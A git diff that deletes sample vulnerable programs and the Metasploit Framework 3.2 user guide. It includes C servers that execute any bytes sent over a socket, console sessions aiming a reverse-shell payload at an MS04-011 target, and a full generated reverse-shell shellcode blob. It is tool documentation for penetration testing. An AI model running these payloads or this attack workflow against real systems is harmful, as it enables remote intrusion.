select_tut' as skeleton */ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define LISTEN_PORT 4545 - -int vuln(void) { - struct sockaddr_in a; - int s, mysock; - int yes, ret, pagesize; - void *buf; - - pagesize = sysconf(_SC_PAGE_SIZE); - if (pagesize == -1) { - perror("pagesize"); - return -1; - } - - if (pagesize < 4096) - pagesize=(4096/pagesize+1)*pagesize; - printf("Detected pagesize: %d\n", pagesize); - buf=memalign(pagesize, pagesize); - if (buf == NULL) { - perror("memalign"); - return -1; - } - if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) { - perror ("socket"); - return -1; - } - yes = 1; - if (setsockopt - (s, SOL_SOCKET, SO_REUSEADDR, - (char *) &yes, sizeof (yes)) < 0) { - perror ("setsockopt"); - close (s); - return -1; - } - memset (&a, 0, sizeof (a)); - a.sin_port = htons (LISTEN_PORT); - a.sin_family = AF_INET; - if (bind - (s, (struct sockaddr *) &a, sizeof (a)) < 0) { - perror ("bind"); - close (s); - return -1; - } - printf ("Send your shellcode to port %d\n", - (int) LISTEN_PORT); - listen (s, 10); - for (;;) { - mysock=accept(s, NULL, NULL); - if (mysock == -1) { - perror("accept"); - close(s); - return -1; - } - if (!fork()) { - printf("Got new connexion\n"); - close(s); - switch (yes=read(mysock, buf, pagesize)) { - case -1: - perror("read"); - case 0: - close(mysock); - close(s); - return -1; - } - printf("Read %d bytes\n", yes); - /* This has the useful side effect of flushing the cache on architectures such as MIPS! */ - ret=mprotect(buf, pagesize, PROT_READ|PROT_WRITE|PROT_EXEC); - if (ret) { - perror("mprotect"); - return -1; - } - ((void (*)())buf)(); - return 42; - } else - close(mysock); - } - -} - -int main(void) -{ -#ifdef SWITCH_STACK - unsigned char *m; - m = mmap(NULL, 1024 * 1024 * 2, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); - m += (1024 * 1024 * 2) - 4; - __asm__("movl %0, %%esp; call vuln" : : "m" (m)); -#else - vuln(); -#endif -} diff --git a/documentation/samples/vulnapps/php/test.php b/documentation/samples/vulnapps/php/test.php deleted file mode 100644 index d343b50d89..0000000000 --- a/documentation/samples/vulnapps/php/test.php +++ /dev/null @@ -1,18 +0,0 @@ - - -Your mom - -

Your mom

- - diff --git a/documentation/samples/vulnapps/testsrv/Makefile b/documentation/samples/vulnapps/testsrv/Makefile deleted file mode 100644 index 849d779db9..0000000000 --- a/documentation/samples/vulnapps/testsrv/Makefile +++ /dev/null @@ -1,17 +0,0 @@ - -SOURCES=testsrv.c -OPTIONS=-fno-stack-protector -Wa,--execstack -Wl,-z,execstack - -default:x86_32 x86_64 -all: x86_32 x86_64 - -x86_32: - gcc -m32 ${OPTIONS} -o testsrv32 ${SOURCES} -x86_64: - gcc -m64 ${OPTIONS} -o testsrv64 ${SOURCES} - -clean: - rm testsrv32 - rm testsrv64 - - diff --git a/documentation/samples/vulnapps/testsrv/README b/documentation/samples/vulnapps/testsrv/README deleted file mode 100644 index 0593947304..0000000000 --- a/documentation/samples/vulnapps/testsrv/README +++ /dev/null @@ -1,2 +0,0 @@ -This is meant to be used in conjunction with the test/aggressive exploit. It -simply executes whatever code is passed to it over the socket. diff --git a/documentation/samples/vulnapps/testsrv/testsrv.c b/documentation/samples/vulnapps/testsrv/testsrv.c deleted file mode 100644 index d7dc3217b8..0000000000 --- a/documentation/samples/vulnapps/testsrv/testsrv.c +++ /dev/null @@ -1,129 +0,0 @@ - -/* - * srv.c -- Example server for easy exploiting - * - * Usage: srv - * - * Example: - * - * C:\> srv 1234 - * C:\> nload localhost 1234 -s code.s - * - */ - - - -#include -#include -#include - -#if defined _WIN32 -#include -#pragma comment(lib, "ws2_32.lib") -#else -#include -#include -#include -#include -#include -#endif - -#define SERVER_PORT 5432 -#define MAX_PENDING 1 - - -int ehlo, from; - -/* Main function */ - -int main(int argc, char **argv) { - struct sockaddr_in sin; - char buf[8092], *ptr; - int c, i, len, port; - int s, new_s, bytes; -#if defined _WIN32 - int wsaret; - WSADATA wsaData; -#endif - int (*funct)(); - - - /* Command line parameters */ - if (argv[1]) - port = atoi(argv[1]); - else - port = SERVER_PORT; - -#if defined _WIN32 - /* Initialize winsock */ - wsaret = WSAStartup(0x101, &wsaData); - if(wsaret != 0) - return (0); - - /* Create a socket */ - if ((s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) < 0) { - fprintf(stderr, "%s: WSASocket - %s\n", argv[0], strerror(errno)); - exit(1); - } -#else - if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { - fprintf(stderr, "%s: socket - %s\n", argv[0], strerror(errno)); - exit(1); - } - -#endif - - /* Initialize the addres data structure */ - memset((void *)&sin, 0, sizeof(sin)); - sin.sin_family = AF_INET; - sin.sin_addr.s_addr = INADDR_ANY; - sin.sin_port = htons(port); - - /* Bind an address to the socket */ - if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { - fprintf(stderr, "%s: bind - %s\n", argv[0], strerror(errno)); - exit(1); - } - - /* Set the length of the listen queue */ - if (listen(s, MAX_PENDING) < 0) { - fprintf(stderr, "%s: listen - %s\n", argv[0], strerror(errno)); - exit(1); - } - - - while (1) - { -#if defined _WIN32 - __try - { -#endif - len = sizeof(sin); - new_s = accept(s, (struct sockaddr *)&sin, &len); - - memset(buf, 0, sizeof(buf)); - bytes = recv(new_s, buf, sizeof(buf), 0); - - printf("recv'd %d\n", bytes); - -#if defined _WIN32 - __asm mov edi, new_s -#else - // TODO: add inlined assembly for "non windows" compiler -#endif - - funct = (int (*)()) buf; - (int)(*funct)(); -#if defined _WIN32 - } __except(EXCEPTION_EXECUTE_HANDLER) - { - fprintf(stderr, "Got exception: %lu\n", GetExceptionCode()); - } -#endif - } - - return (0); - -} - - diff --git a/documentation/samples/vulnapps/testsrv/testsrv.exe b/documentation/samples/vulnapps/testsrv/testsrv.exe deleted file mode 100755 index dd4462c3a0..0000000000 Binary files a/documentation/samples/vulnapps/testsrv/testsrv.exe and /dev/null differ diff --git a/documentation/users_guide.tex b/documentation/users_guide.tex deleted file mode 100644 index 2b5994ba62..0000000000 --- a/documentation/users_guide.tex +++ /dev/null @@ -1,910 +0,0 @@ -%% -% This file is part of the Metasploit Framework. -%% - -% -% Title: Metasploit Framework User Guide -% Version: $Revision: 4068 $ -% - -\documentclass{report} -\usepackage{graphicx} -\usepackage{color} -\usepackage{amsmath} -\usepackage[colorlinks,urlcolor=blue,linkcolor=black,citecolor=blue]{hyperref} - -\begin{document} - -\title{Metasploit Framework User Guide} -\author{metasploit.com} - -\begin{titlepage} - \begin{center} - - \huge{Metasploit Framework User Guide} - \ \\[10mm] - \large{Version 3.2} - \\[10mm] - - \includegraphics{hacker04.jpg} - - \ \\[10mm] - - \small{\url{http://www.metasploit.com/}} - - \rule{10cm}{1pt} \\[4mm] - \renewcommand{\arraystretch}{0.5} - \end{center} -\end{titlepage} - -\tableofcontents - -\setlength{\parindent}{0pt} \setlength{\parskip}{8pt} - - -\chapter{Introduction} - -\par -This is the official user guide for version 3.2 of the Metasploit Framework. This -guide is designed to provide an overview of what the framework is, how it works, -and what you can do with it. The latest version of this document can be found -on the Metasploit Framework web site. - -\par -The Metasploit Framework is a platform for writing, testing, and using exploit code. -The primary users of the Framework are professionals performing penetration testing, -shellcode development, and vulnerability research. - -\par -\pagebreak - -\chapter{Installation} - - \section{Installation on Unix} - \label{INSTALL-UNIX} -\par -Installing the Framework is as easy as extracting the tarball, changing into the -created directory, and executing your preferred user interface. We strongly -recommend that you use a version of the Ruby interpreter that was built with -support for the GNU Readline library. If you are using the Framework on Mac OS -X prior to 10.5.1, you will need to install GNU Readline and then recompile the Ruby -interpreter. Using a version of Ruby with Readline support enables tab completion -of the console interface. The \texttt{msfconsole} user interface is preferred for everyday -use, but the \texttt{msfweb} interface can be useful for live demonstrations. - -\par -To perform a system-wide installation, we recommend that you copy the entire -Framework directory into a globally accessible location (/usr/local/msf) and -then create symbolic links from the msf* applications to a directory in the -system path (/usr/local/bin). User-specific modules can be placed into -\texttt{HOME/.msf3/modules} directory. The structure of this directory should -mirror that of the global modules directory found in the framework -distribution. - -\par -The latest stable release of the Ruby interpreter (1.8.7-p72) contains a bug which -breaks many of the Metasploit Framework modules. The only way to work around this -bug is by downgrading to an older version of 1.8.6 or by upgrading to the latest -stable snapshot of 1.8.7. The latest stable snapshot can be downloaded from -\url{ftp://ftp.ruby-lang.org/pub/ruby/stable-snapshot.tar.gz}. For more information -about this issue, please see the Ubuntu ticket: \url{https://bugs.launchpad.net/bugs/282302}. - - - - \section{Installation on Windows} - \label{INSTALL-WIN32} - -\par -The Metasploit Framework is fully supported on the Windows platform. To install the Framework on Windows, -download the latest version of the Windows installer from \url{http://metasploit.com/framework/download/}, perform -an online update, and launch the \texttt{msfgui} interface from the Start Menu. To access a standard -\texttt{msfconsole} interface, select the Console option from the Window menu. As an alternative, you can -use the \texttt{msfweb} interface, which supports Mozilla Firefox and Internet Explorer. - - - \section{Platform Caveats} - \label{INSTALL-CAVEAT} - -\par -When using the Framework on the Windows platform, keep in mind that \texttt{msfgui} and \texttt{msfweb} are the only -supported user interfaces. While \texttt{msfcli} may appear to work on the command line, it will will run into -trouble as soon as more than one active thread is present. This can prevent most exploits, auxiliary modules, -and plugins from functioning. This problem does not occur within Cygwin environment. The Windows platform does -not support raw IP packet injection, packet injection, wireless driver exploitation, or SMB relaying attacks -without specific configuration. In most cases, those features can be accessed by running Metasploit inside of a -Linux-based virtual machine (such as BackTrack 3 in VMWare). - - \section{Supported Operating Systems} - \label{INSTALL-SUPPORT} - -\par -The Framework should run on almost any Unix-based operating system that includes a complete and modern version -of the Ruby interpreter (1.8.4+). Every stable version of the Framework is tested with three primary platforms: - -\begin{itemize} -\item Linux 2.6 (x86, ppc) -\item Windows NT (2000, XP, 2003, Vista) -\item MacOS X 10.5 (x86, ppc) -\end{itemize} - -\par -For information about manually installing the framework, including all of the required dependencies needed -to use the new \texttt{msfgui} interface, please see the framework web site: \url{http://metasploit.com/framework/support} - - \section{Updating the Framework} - \label{INSTALL-UPDATE} - -\par -The Framework can be updated using a standard \texttt{Subversion} client. The -old \texttt{msfupdate} tool is no longer supported. Windows users can click on -the Online Update link within the Metasploit 3 program folder on the Start Menu. -To obtain the latest updates on a Unix-like platform, change into the Framework -installation directory and execute \texttt{svn update}. If you are accessing the -internet through a HTTP proxy server, please see the Subversion FAQ on proxy -access: \url{http://subversion.tigris.org/faq.html#proxy} - -\pagebreak - -\chapter{Getting Started} - - \section{The Console Interface} - \label{STARTED-CONSOLE} - -\par -After you have installed the Framework, you should verify that everything is -working properly The easiest way to do this is to execute the -\texttt{msfconsole} user interface. If you are using Windows, start the \texttt{msfgui} -interface and access the \texttt{Console} link from the Window menu. -The console should display an ASCII art logo, print the current version, some module -counts, and drop to a "msf> " prompt. From this prompt, type \texttt{help} to get a list of -valid commands. You are currently in the "main" mode; this allows you to list -exploits, list payloads, and configure global options. To list all available -exploits, type \texttt{show exploits}. To obtain more information about a given -exploit, type \texttt{info module\_name}. - -\par -The console interface was designed to be flexible and fast. If you -enter a command that is not recognized by the console, it will scan the system -path to determine if it is a system command. \footnote{If you are accessing the console -through \texttt{msfweb}, this feature has been disabled for security reasons.} -If it finds a match, that command will be executed with the supplied arguments. This allows you to use -your standard set of tools without having to leave the console. The console interface -supports tab completion of known commands. The \texttt{msfweb} interface -includes tab completion by default, but the \texttt{msfconsole} interface requires that -Ruby was built with the Readline library. For more information on tab completion, please -refer to appendix \ref{REF-TAB}. - -\par -The console startup will similar to the text below. - -\begin{verbatim} - - - - o 8 o o - 8 8 8 -ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P -8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8 -8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8 -8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8 -..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..: -::::::::::::::::::::::::::::::::::8::::::::::::::::::::::: -:::::::::::::::::::::::::::::::::::::::::::::::::::::::::: - - - =[ msf v3.1-release -+ -- --=[ 263 exploits - 116 payloads -+ -- --=[ 17 encoders - 6 nops - =[ 45 aux - -msf > -\end{verbatim} - - \section{The GUI Interface} - \label{STARTED-GUI} - -\par -The \texttt{msfgui} interface was introduced in version 3.1 and provides the functionality -of \texttt{msfconsole} in addition to many new features. To access a \texttt{msfconsole} -shell, select the Console option from the Window menu. To search for a module within the -module tree, enter a string or regular expression into the search box and click the button -labeled Find. All matching modules will appear the tree below. To execute a module, -double-click its name in the tree, or right-click its name and select the Execute option. -To view the source code of any module, right-click its name and select the View Code option. - -\par -Once a module is selected, a wizard-based interface will walk you through the process of -configuring and launching the module. In the case of exploit modules, the output from -the module will appear in the main window under the Module Output tab. Any sessions created -by the module will appear in the Sessions view in the main window. To access a session, -double-click the session name in the view, or open a Console and use the \texttt{sessions} -command to interact with the shell. Metepreter sessions will spawn a shell when double-clicked, -but also offer a process and file browser via the right-click context menu. - - - \section{The Command Line Interface} - \label{STARTED-CLI} - -\par -If you are looking for a way to automate exploit testing, or simply do not want -to use an interactive interface, then \texttt{msfcli} may be the solution. -\footnote{The msfcli interface will not work properly with the native Windows version of Ruby} -This interface takes a module name as the first parameter, followed by the options -in a VAR=VAL format, and finally an action code to specify what should be done. -The module name is used to determine which exploit or auxiliary module you -want to launch. - -\par -The action code is a single letter; S for summary, O for options, A for advanced -options, I for IDS evasions, P for payloads, T for targets, AC for auxiliary -actions, C to try a vulnerability check, and E to exploit. The saved -datastore will be loaded and used at startup, allowing you to configure -convenient default options in the Global or module-specific datastore of -\texttt{msfconsole}, save them, and take advantage of them in the -\texttt{msfcli} interface. As of version 3.1, the \texttt{msfcli} interface -will also work with auxiliary modules. - - \section{The Web Interface} - \label{STARTED-WEB} - -\par -The \texttt{msfweb} interface is based on Ruby on Rails. To access this interface, -execute \texttt{msfweb} to start up the server. The \texttt{msfweb} -interface uses the WEBrick web server to handle requests. By default, \texttt{msfweb} will listen -on the loopback address (127.0.0.1) on port 55555. A log message should be displayed indicating that -the service has started. To access the interface, open your browser to the appropriate URL -(\url{http://127.0.0.1:55555/} by default). The main \texttt{msfweb} interface consists of a toolbar -containing various icons and a background with the metasploit logo. If you want access to a console, -click the Console link. This console interface is nearly identical to the standard -\texttt{msfconsole} interface. The Exploits, Auxiliary, and Payloads links will walk you through -the process of selecting a module, configuring it, and running it. Once an exploit is run and -a session is created, you can access these sessions from the Sessions link. These icons will open up -a sub-window within the page. These windows can be moved, minimized, maximized, and closed. - -\pagebreak -\chapter{The DataStore} - -\par -The datastore system is a core component of the Framework. The interfaces use -it to configure settings, the payloads use it patch opcodes, the exploits -use it to define parameters, and it is used internally to pass options between -modules. There are two types of datastores. First, there is a single global -datastore that can be accessed using the \texttt{setg} and \texttt{unsetg} -commands from \texttt{msfconsole}. Second, each module instance has its own -datastore in which arbitrary options or parameters can be stored. For -example, when the \texttt{RHOST} option is set, its value is stored in the -datastore of the module instance that it was set relative to. In the event -that an option was not set in a module instance's datastore, the framework -will consult the global datastore to see if it was set there. - - \section{Global DataStore} - \label{ENV-GLOBAL} -\par -The Global datastore is accessed through the console via the \texttt{setg} and -\texttt{unsetg} commands. The following example shows the Global datastore -state after a fresh installation. Calling \texttt{setg} with no arguments -displays the current global datastore. Default settings are automatically -loaded when the interface starts. - -\begin{verbatim} -msf > setg - -Global -====== - -No entries in data store. - -\end{verbatim} - - \section{Module DataStore} - \label{ENV-TEMP} -\par - -The module datastore is accessed through the \texttt{set} and \texttt{unset} -commands. This datastore only applies to the currently loaded module; -switching to another module via the \texttt{use} command will result in the -module datastore for the current module being swapped out with the datastore -of the new module. If no module is currently active, the \texttt{set} and -\texttt{unset} commands will operate on the global datastore. Switching back -to the original module will initialize a new datastore for the module. To -persist the contents of either the global or module-specific datastores, the -\texttt{save} command should be used. - - \section{Saved DataStore} - \label{ENV-SAVE} - -\par -The \texttt{save} command can be used to synchronize the Global and all module -datastores to disk. The saved environment is written to -\texttt{HOME/.msf3/config} and will be loaded when any of the user interfaces -are executed. - - \section{DataStore Efficiency} - \label{ENV-EFF} - -\par -This split datastore system allows you save time during exploit development -and penetration testing. Common options between exploits can be defined in the -Global datastore once and automatically used in any exploit you load thereafter. - -\par -The example below shows how the \texttt{LPORT}, \texttt{LHOST}, and -\texttt{PAYLOAD} global datastore can be used to save time when exploiting a -set of Windows-based targets. If this datastore was set and a Linux exploit -was being used, the module datastore (via \texttt{set} and \texttt{unset}) -could be used to override these defaults. - -{\footnotesize -\begin{verbatim} -f > setg LHOST 192.168.0.10 -LHOST => 192.168.0.10 -msf > setg LPORT 4445 -LPORT => 4445 -msf > setg PAYLOAD windows/shell/reverse_tcp -PAYLOAD => windows/shell/reverse_tcp -msf > use windows/smb/ms04_011_lsass -msf exploit(ms04_011_lsass) > show options - -Module options: - -... - -Payload options: - - Name Current Setting Required Description - ---- --------------- -------- ----------- - EXITFUNC thread yes Exit technique: seh, thread, process - LHOST 192.168.0.10 yes The local address - LPORT 4445 yes The local port - -... - -\end{verbatim}} - - \section{DataStore Variables} - \label{ENV-VAR} -\par -The datastore can be used to configure many aspects of the Framework, ranging -from user interface settings to specific timeout options in the network socket -API. This section describes the most commonly used environment variables. - -\par -For a complete listing of all environment variables, please see the file -Environment.txt in the ``documentation'' subdirectory of the Framework. - - \subsection{LogLevel} -\par -This variable is used to control the verbosity of log messages provided -by the components of the Framework. If this variable is not set, framework -logging is disabled. Setting this variable to 0 will turn on default log -messages. A value of 1 will enable additional, non-verbose log messages that -may be helpful in troubleshooting. A value of 2 will enable verbose debug -logging. A value of 3 will enable all logging and may generate a large amount -of log messages. Only use this when much additional information is required. -Log files are stored in the logs subdirectory of the user's configuration -directory (~/.msf3/logs). Unlike version 2 of the framework, debugging -messages are never written directly to the console. - - \subsection{MsfModulePaths} -\par -This variable can be used to add additional paths from which to load modules. -By default, the framework will load modules from the modules directory found -within the framework install. It will also load modules from ~/.msf3/modules -if such a path exists. This variable makes it possible to statically define -additional paths from which to load modules. - -\pagebreak - -\chapter{Using the Framework} - - \section{Choosing a Module} -\par -From the \texttt{msfconsole} interface, you can view the list of modules that -are available for you to interact with. You can see all available modules -through the \texttt{show all} command. To see the list of modules of a -particular type you can use the \texttt{show moduletype} command, where -\textit{moduletype} is any one of exploits, encoders, payloads, and so on. -You can select a module with the \texttt{use} command by specifying the -module's name as the argument. The \texttt{info} command can be used to view -information about a module without using it. Unlike Metasploit 2.x, the new -version of Metasploit supports interacting with each different module types -through the \texttt{use} command. In Metasploit 2.x, only exploit modules -could be interacted with. - - \section{Exploit Modules} - -\par -Exploit modules are the defacto module in Metasploit which are used to -encapsulate an exploit. - - \subsection{Configuring the Active Exploit} - -\par -Once you have selected an exploit with the \texttt{use} command, the next step -is to determine what options it requires. This can be accomplished with the -\texttt{show options} command. Most exploits use \texttt{RHOST} to specify the -target address and \texttt{RPORT} to set the target port. Use the \texttt{set} -command to configure the appropriate values for all required options. If you -have any questions about what a given option does, refer to the module source -code. Advanced options are available with some exploit modules, these can be -viewed with the \texttt{show advanced} command. Options useful for IDS and IPS -evasion can be viewed with the \texttt{show evasion} command. - - \subsection{Verifying the Exploit Options} - -\par -The \texttt{check} command can be used to determine whether the target -system is vulnerable to the active exploit module. This is a quick way to -verify that all options have been correctly set and that the target is -actually vulnerable to exploitation. Not all exploit modules have implemented -the check functionality. In many cases it is nearly impossible to determine -whether a service is vulnerable without actually exploiting it. A -\texttt{check} command should never result in the target system crashing or -becoming unavailable. Many modules display version information and -expect you to analyze it before proceeding. - - \subsection{Selecting a Target} - -\par Many exploits will require the \texttt{TARGET} environment variable to be -set to the index number of the desired target. The \texttt{show targets} -command will list all targets provided by the exploit module. Many exploits -will default to a brute-force target type; this may not be desirable in all -situations. - - \subsection{Selecting the Payload} - -\par The payload is the actual code that will run on the target system after -a successful exploit attempt. Use the \texttt{show payloads} command to list -all payloads compatible with the current exploit. If you are behind a -firewall, you may want to use a bind shell payload, if your target is behind -one and you are not, you would use a reverse connect payload. You can use the -\texttt{info payload\_name} command to view detailed information about a given -payload. - -\par -Once you have decided on a payload, use the \texttt{set} command to specify -the payload module name as the value for the \texttt{PAYLOAD} environment -variable. Once the payload has been set, use the \texttt{show options} command -to display all available payload options. Most payloads have at least one -required option. Advanced options are provided by a handful of payload -options; use the \texttt{show advanced} command to view these. Please keep in -mind that you will be allowed to select any payload compatible with that -exploit, even if it not compatible with your currently selected -\texttt{TARGET}. For example, if you select a Linux target, yet choose a BSD -payload, you should not expect the exploit to work. - - \subsection{Launching the Exploit} - -\par The \texttt{exploit} command will launch the attack. If everything went -well, your payload will execute and potentially provide you with an -interactive command shell on the exploited system. - - \section{Auxiliary Modules} - -\par -Metasploit 3.0 supports the concept of auxiliary modules which can be used to -perform arbitrary, one-off actions such as port scanning, denial of service, -and even fuzzing. - - \subsection{Running an Auxiliary Task} - -\par -Auxiliary modules are quite a bit similar to exploit modules. Instead of -having targets, they have actions, which are specified through the -\texttt{ACTION} option. To run an auxiliary module, you can either use the -\texttt{run} command, or you can use the \texttt{exploit} command -- they're -both the same thing. - -\begin{verbatim} -msf > use dos/windows/smb/ms06_035_mailslot -msf auxiliary(ms06_035_mailslot) > set RHOST 1.2.3.4 -RHOST => 1.2.3.4 -msf auxiliary(ms06_035_mailslot) > run -[*] Mangling the kernel, two bytes at a time... -\end{verbatim} - - \section{Payload Modules} - -\par -Payload modules encapsulate the arbitrary code (shellcode) that is executed as -the result of an exploit succeeding. Payloads typically build a communication -channel between Metasploit and the victim host. - - \subsection{Generating a Payload} - -\par -The console interface supports generating different forms of a payload. This -is a new feature in Metasploit 3.0. To generate payloads, first select a -payload through the \texttt{use} command. - -\begin{verbatim} -msf > use windows/shell_reverse_tcp -msf payload(shell_reverse_tcp) > generate -h -Usage: generate [options] - -Generates a payload. - -OPTIONS: - - -b The list of characters to avoid: '\x00\xff' - -e The name of the encoder module to use. - -h Help banner. - -o A comma separated list of options in VAR=VAL format. - -s NOP sled length. - -t The output type: ruby, perl, c, or raw. - -msf payload(shell_reverse_tcp) > -\end{verbatim} - -\par -Using the options supported by the \texttt{generate} command, different -formats of a payload can be generated. Some payloads will require options -which can be specified through the \texttt{-o} parameter. Additionally, a -format to convey the generated payload can be specified through the -\texttt{-t} parameter. To save the resulting data to a local file, pass the -\texttt{-f} parameter followed by the output file name. - -\begin{verbatim} -msf payload(shell_reverse_tcp) > set LHOST 1.2.3.4 -LHOST => 1.2.3.4 -msf payload(shell_reverse_tcp) > generate -t ruby -# windows/shell_reverse_tcp - 287 bytes -# http://www.metasploit.com -# EXITFUNC=seh, LPORT=4444, LHOST=1.2.3.4 -"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" + -"\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f" + -"\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84" + -"\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28" + -"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c" + -"\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" + -"\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e" + -"\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" + -"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50" + -"\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff" + -"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43" + -"\x53\x43\x53\xff\xd0\x68\x01\x02\x03\x04\x66\x68\x11\x5c" + -"\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a" + -"\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50" + -"\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95" + -"\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" + -"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51" + -"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05" + -"\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6" + -"\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a" + -"\x04\x5f\x53\xff\xd6\xff\xd0" -msf payload(shell_reverse_tcp) > -\end{verbatim} - - \section{Nop Modules} - -\par -NOP modules are used to generate no-operation instructions that can be used -for padding out buffers. - - \subsection{Generating a NOP Sled} - -\par -The NOP module console interface supports generating a NOP sled of an -arbitrary size and displaying it in a given format through the -\texttt{generate} command. - -\begin{verbatim} -msf > use x86/opty2 -msf nop(opty2) > generate -h -Usage: generate [options] length - -Generates a NOP sled of a given length. - -OPTIONS: - - -b The list of characters to avoid: '\x00\xff' - -h Help banner. - -s The comma separated list of registers to save. - -t The output type: ruby, perl, c, or raw. - -msf nop(opty2) > -\end{verbatim} - -\par -To generate a 50 byte NOP sled that is displayed as a C-style buffer, the -following command can be run: - -\begin{verbatim} -msf nop(opty2) > generate -t c 50 -unsigned char buf[] = -"\xf5\x3d\x05\x15\xf8\x67\xba\x7d\x08\xd6\x66\x9f\xb8\x2d\xb6" -"\x24\xbe\xb1\x3f\x43\x1d\x93\xb2\x37\x35\x84\xd5\x14\x40\xb4" -"\xb3\x41\xb9\x48\x04\x99\x46\xa9\xb0\xb7\x2f\xfd\x96\x4a\x98" -"\x92\xb5\xd4\x4f\x91"; -msf nop(opty2) > -\end{verbatim} - -\pagebreak -\chapter{Advanced Features} - -\par -This section covers some of the advanced features that can be found in this -release. These features can be used in any compatible exploit and highlight -the strength of developing attack code using an exploit framework. - -\section{The Meterpreter} -\par -The Meterpreter is an advanced multi-function payload that can be dynamically -extended at run-time. In normal terms, this means that it provides you with a -basic shell and allows you to add new features to it as needed. Please refer -to the Meterpreter documentation for an in-depth description of how it works -and what you can do with it. The Meterpreter manual can be found in the -``documentation'' subdirectory of the Framework as well as online at: - -\url{http://www.metasploit.com/documents/meterpreter.pdf} - -\section{PassiveX Payloads} - -\par The Metasploit Framework can be used to -load arbitrary ActiveX controls into a target process. This feature works by -patching the registry of the target system and causing the exploited process -to launch internet explorer with a URL pointing back to the Framework. The -Framework starts up a simple web server that accepts the request and sends -back a web page instructing it to load an ActiveX component. The exploited -system then downloads, registers, and executes the ActiveX. - -\par -The basic PassiveX payload, \texttt{windows/xxx/reverse\_http}, supports any -custom ActiveX that you develop. In addition to the base payload, three other -PassiveX modules are included in the Framework. These can be used to execute a -command shell, load the Meterpreter, or inject a VNC service. When any of -these three payloads are used, the PassiveX object will emulate a TCP -connection through HTTP GET and POST requests. This allows you to interact -with a command shell, VNC, or the Meterpreter using nothing but standard HTTP -traffic. - -\par -Since PassiveX uses the Internet Explorer browser to load the ActiveX -component, it will pass right through an outbound web proxy, using whatever -system and authentication settings that have already been configured. The -PassiveX payloads will only work when the target system has Internet Explorer -6.0 installed (not 5.5 or 7.0). For more information about PassiveX, -please see the Uninformed Journal article titled "Post-Exploitation on Windows -using ActiveX Controls", located online at: - -\url{http://www.uninformed.org/?v=1&a=3&t=pdf} - -\section{Chainable Proxies} -\par -The Framework includes transparent support for TCP proxies, this release has -handler routines for HTTP CONNECT and SOCKSv4 servers. To use a proxy with a -given exploit, the \texttt{Proxies} environment variable needs to be set. The value of -this variable is a comma-separated list of proxy servers, where each server is -in the format type:host:port. The type values are 'http' for HTTP CONNECT and -'socks4' for SOCKS v4. The proxy chain can be of any length; testing shows that -the system was stable with over five hundred SOCKS and HTTP proxies configured -randomly in a chain. The proxy chain only masks the exploit request, the -automatic connection to the payload is not relayed through the proxy chain at -this time. - -\section{Win32 UploadExec Payloads} -\par -Although Unix systems normally include all of the tools you need for -post-exploitation, Windows systems are notoriously lacking in a decent command -line toolkit. The windows/upexec/* payloads included in this release allow you to -simultaneously exploit a Windows system, upload your favorite tool, and execute -it, all across the payload socket connection. When combined with a -self-extracting rootkit or scripting language interpreter (perl.exe!), this can -be a very powerful feature. The Meterpreter payloads are usually much better -suited for penetration testing tasks. - -\section{Win32 DLL Injection Payloads} -\par -The Framework includes a staged payload that is -capable of injecting a custom DLL into memory in combination with any Win32 -exploit. This payload will not result in any files being written to disk; the -DLL is loaded directly into memory and is started as a new thread in the -exploited process. This payload was developed by Jarkko Turkulainen and Matt -Miller and is one of the most powerful post-exploitation techniques developed -to date. To create a DLL which can be used with this payload, use the -development environment of choice and build a standard Win32 DLL. This DLL -should export an function called Init which takes a single argument, an -integer value which contains the socket descriptor of the payload connection. -The Init function becomes the entry point for the new thread in the exploited -process. When processing is complete, it should return and allow the loader -stub to exit the process according to the \texttt{EXITFUNC} environment -variable. If you would like to write your own DLL payloads, refer to the -external/source/dllinject directory in the Framework. In additional to normal -DLL Injection, version 3.2 and newer include support for Reflective DLL Injection -payloads as well. For more information about Reflective DLL Injection, please see -the Harmony Security paper, located at -\url{http://www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf} - -\section{VNC Server DLL Injection} -\par -One of the first DLL injection payloads developed was a customized VNC server. -This server was 